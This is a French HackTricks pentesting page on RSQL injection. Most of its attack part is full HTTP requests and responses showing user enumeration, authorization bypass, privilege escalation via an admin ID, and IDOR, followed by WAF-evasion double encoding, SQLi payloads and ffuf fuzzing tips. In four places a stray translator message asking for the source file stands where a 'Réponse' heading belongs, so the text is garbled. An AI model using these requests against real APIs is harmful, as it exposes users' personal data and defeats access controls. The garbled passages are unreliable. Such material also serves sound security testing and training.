RSQL Injection

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que RSQL ?

RSQL est un langage de requête conçu pour le filtrage paramétré des entrées dans les RESTful APIs. Basé sur FIQL (Feed Item Query Language), initialement spécifié par Mark Nottingham pour interroger les Atom feeds, RSQL se distingue par sa simplicité et sa capacité à exprimer des requêtes complexes de façon compacte et conforme à l’URI sur HTTP. Cela en fait un excellent choix comme langage de requête général pour la recherche d’endpoints REST.

Aperçu

RSQL Injection est une vulnérabilité dans les applications web qui utilisent RSQL comme langage de requête dans les RESTful APIs. Similaire à SQL Injection et LDAP Injection, cette vulnérabilité se produit lorsque les filtres RSQL ne sont pas correctement assainis, permettant à un attaquant d’injecter des requêtes malveillantes pour accéder, modifier ou supprimer des données sans autorisation.

Comment ça marche ?

RSQL permet de construire des requêtes avancées dans les RESTful APIs, par exemple:

/products?filter=price>100;category==electronics

Cela se traduit par une requête structurée qui filtre les produits dont le prix est supérieur à 100 et dont la catégorie est « électronique ».

Si l’application ne valide pas correctement les entrées utilisateur, un attaquant pourrait manipuler le filtre pour exécuter des requêtes inattendues, telles que :

/products?filter=id=in=(1,2,3);delete_all==true

Ou même en profiter pour extraire des informations sensibles à l’aide de requêtes booléennes ou de sous-requêtes imbriquées.

Risques

  • Exposure of sensitive data: Un attaquant peut récupérer des informations qui ne devraient pas être accessibles.
  • Data modification or deletion: Injection de filtres modifiant les enregistrements de la base de données.
  • Privilege escalation: Manipulation d’identifiants qui attribuent des rôles via des filtres pour tromper l’application et accéder avec les privilèges d’autres utilisateurs.
  • Evasion of access controls: Manipulation des filtres pour accéder à des données restreintes.
  • Impersonation or IDOR: Modification d’identifiants entre utilisateurs via des filtres permettant l’accès aux informations et ressources d’autres utilisateurs sans être correctement authentifié en tant que tel.

Opérateurs RSQL pris en charge

OpérateurDescriptionExemple
; / andOpérateur logique AND. Filtre les lignes où les deux conditions sont vraies/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / orOpérateur logique OR. Filtre les lignes où au moins une condition est vraie/api/v2/myTable?q=columnA==valueA,columnB==valueB
==Effectue une requête d’égalité. Retourne toutes les lignes de myTable où les valeurs dans columnA sont exactement égales à queryValue/api/v2/myTable?q=columnA==queryValue
=q=Effectue une requête de recherche. Retourne toutes les lignes de myTable où les valeurs dans columnA contiennent queryValue/api/v2/myTable?q=columnA=q=queryValue
=like=Effectue une requête de type like. Retourne toutes les lignes de myTable où les valeurs dans columnA sont comme queryValue/api/v2/myTable?q=columnA=like=queryValue
=in=Effectue une requête in. Retourne toutes les lignes de myTablecolumnA contient valueA OU valueB/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=Effectue une requête d’exclusion. Retourne toutes les lignes de myTable où les valeurs dans columnA ne sont ni valueA ni valueB/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=Effectue une requête not equals. Retourne toutes les lignes de myTable où les valeurs dans columnA ne sont pas égales à queryValue/api/v2/myTable?q=columnA!=queryValue
=notlike=Effectue une requête not like. Retourne toutes les lignes de myTable où les valeurs dans columnA ne sont pas comme queryValue/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=Effectue une requête inférieur à. Retourne toutes les lignes de myTable où les valeurs dans columnA sont inférieures à queryValue/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=Effectue une requête inférieur ou égal à. Retourne toutes les lignes de myTable où les valeurs dans columnA sont inférieures ou égales à queryValue/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=Effectue une requête supérieur à. Retourne toutes les lignes de myTable où les valeurs dans columnA sont supérieures à queryValue/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=Effectue une requête égal ou supérieur à. Retourne toutes les lignes de myTable où les valeurs dans columnA sont égales ou supérieures à queryValue/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=Effectue une requête from to. Retourne toutes les lignes de myTable où les valeurs dans columnA sont supérieures ou égales à fromValue, et inférieures ou égales à toValue/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Note: Tableau basé sur les informations de MOLGENIS et rsql-parser applications.

Exemples

  • name==“Kill Bill”;year=gt=2003
  • name==“Kill Bill” and year>2003
  • genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Note: Tableau basé sur les informations de rsql-parser application.

Filtres courants

Ces filtres aident à affiner les requêtes dans les API :

FiltreDescriptionExemple
filter[users]Filtre les résultats par des utilisateurs spécifiques/api/v2/myTable?filter[users]=123
filter[status]Filtre par statut (actif/inactif, terminé, etc.)/api/v2/orders?filter[status]=active
filter[date]Filtre les résultats dans une plage de dates/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]Filtre par catégorie ou type de ressource/api/v2/products?filter[category]=electronics
filter[id]Filtre par identifiant unique/api/v2/posts?filter[id]=42

Paramètres courants

Ces paramètres aident à optimiser les réponses de l’API :

ParamètreDescriptionExemple
includeInclut les ressources liées dans la réponse/api/v2/orders?include=customer,items
sortTrie les résultats par ordre ascendant ou descendant/api/v2/users?sort=-created_at
page[size]Contrôle le nombre de résultats par page/api/v2/products?page[size]=10
page[number]Spécifie le numéro de page/api/v2/products?page[number]=2
fields[resource]Définit les champs à renvoyer dans la réponse/api/v2/users?fields[users]=id,name,email
searchEffectue une recherche plus flexible/api/v2/posts?search=technology

Fuite d’informations et énumération des utilisateurs

La requête suivante montre un endpoint d’inscription qui exige le paramètre email pour vérifier s’il existe un utilisateur enregistré avec cet email et renvoie true ou false selon qu’il existe ou non dans la base de données :

Requête

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Bien qu’une /api/registrations?email=<emailAccount> soit attendue, il est possible d’utiliser des RSQL filters pour tenter d’enumerate and/or extract user information en utilisant des opérateurs spéciaux :

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Je n’ai pas reçu le contenu du fichier à traduire. Peux-tu coller ici le texte de src/pentesting-web/rsql-injection.md ?

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

Dans le cas où un compte e-mail valide correspond, l’application renverrait les informations de l’utilisateur au lieu d’un classique “true”, “1” ou autre dans la réponse au serveur:

Requête

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Je n’ai pas reçu le contenu du fichier src/pentesting-web/rsql-injection.md. Veuillez fournir le texte à traduire.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Authorization evasion

Dans ce scénario, nous partons d’un utilisateur avec un rôle basique et qui n’a pas de permissions privilégiées (p. ex. administrator) pour accéder à la liste de tous les utilisateurs enregistrés dans la base de données :

Requête

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Encore une fois, nous utilisons les filtres et opérateurs spéciaux qui nous permettent d’obtenir les informations des utilisateurs et de contourner le contrôle d’accès. Par exemple, filtrer les utilisateurs dont l’ID contient la lettre “a” :

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Privilege Escalation

Il est très probable de trouver certains endpoints qui vérifient les privilèges des utilisateurs via leur rôle. Par exemple, nous avons affaire à un utilisateur qui n’a aucun privilège :

Requête

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Je n’ai pas reçu le contenu du fichier src/pentesting-web/rsql-injection.md. Peux-tu coller ici le texte à traduire ?

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

En utilisant certains opérateurs, nous pouvons énumérer les utilisateurs administrateurs :

Requête

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

Après avoir obtenu l’identifiant d’un utilisateur administrateur, il serait possible d’exploiter une escalade de privilèges en remplaçant ou en ajoutant le filtre correspondant par l’identifiant de l’administrateur et en obtenant les mêmes privilèges :

Requête

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}

Impersonate or Insecure Direct Object References (IDOR)

En plus de l’utilisation du paramètre filter, il est possible d’utiliser d’autres paramètres comme include qui permet d’inclure dans le résultat certains champs (p. ex. language, country, password…).

Dans l’exemple suivant, les informations de notre profil utilisateur sont affichées :

Requête

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Je n’ai pas reçu le contenu du fichier src/pentesting-web/rsql-injection.md. Merci de coller ici le texte à traduire en français (je conserverai la syntaxe markdown/html et les chemins/tags non traduits).

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

La combinaison de filtres peut être utilisée pour contourner le contrôle d’autorisation et accéder aux profils d’autres utilisateurs :

Requête

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Détection & fuzzing quickwins

  • Vérifiez le support RSQL en envoyant des probes inoffensifs comme ?filter=id==test, ?q==test ou des opérateurs malformés =foo= ; les APIs verbeuses leak souvent des erreurs du parser (“Unknown operator” / “Unknown property”).
  • De nombreuses implémentations analysent deux fois les paramètres d’URL ; essayez d’encoder deux fois (, ), *, ; (ex. %2528admin%2529) pour contourner des blocklists naïves et les WAFs.
  • Boolean exfil with wildcards: filter[users]=email==*%@example.com;status==ACTIVE et inversez la logique avec , (OR) pour comparer la taille des réponses.
  • Range/proximity leaks: filter[users]=createdAt=rng=(2024-01-01,2025-01-01) énumère rapidement par année sans connaître les IDs exacts.

Abus spécifiques aux frameworks (Elide / JPA Specification / JSON:API)

  • Elide et de nombreux projets Spring Data REST traduisent RSQL directement en JPA Criteria. Lorsque les développeurs ajoutent des opérateurs personnalisés (ex. =ilike=) et construisent des prédicats via concaténation de chaînes au lieu de paramètres préparés, vous pouvez basculer vers une SQLi (payload classique : name=ilike='%%' OR 1=1--').
  • Le data store analytique d’Elide accepte des colonnes paramétrées ; la combinaison de paramètres analytiques contrôlés par l’utilisateur avec des filtres RSQL a été la cause de SQLi dans CVE-2022-24827. Même si les versions patchées paramètrent correctement, du code sur-mesure similaire persiste souvent — recherchez des expressions SpEL @JoinFilter/@ReadPermission contenant ${} et essayez d’injecter ';sleep(5);' ou des tautologies logiques.
  • Les backends JSON:API exposent souvent à la fois include et filter. Filtrer sur des ressources liées filter[orders]=customer.email==*admin* peut contourner les ACLs de niveau supérieur parce que les filtres au niveau des relations s’exécutent avant les vérifications d’appartenance.

Outils d’automatisation

  • rsql-parser CLI (Java): java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE" valide les payloads localement et affiche l’arbre syntaxique abstrait — utile pour construire des parenthèses équilibrées et des opérateurs personnalisés.
  • Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
  • Utilisez-le avec HTTP fuzzer (ffuf, turbo-intruder) en itérant les positions de wildcard *a*, *e*, etc., à l’intérieur des listes =in= pour énumérer rapidement les IDs et les e-mails.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks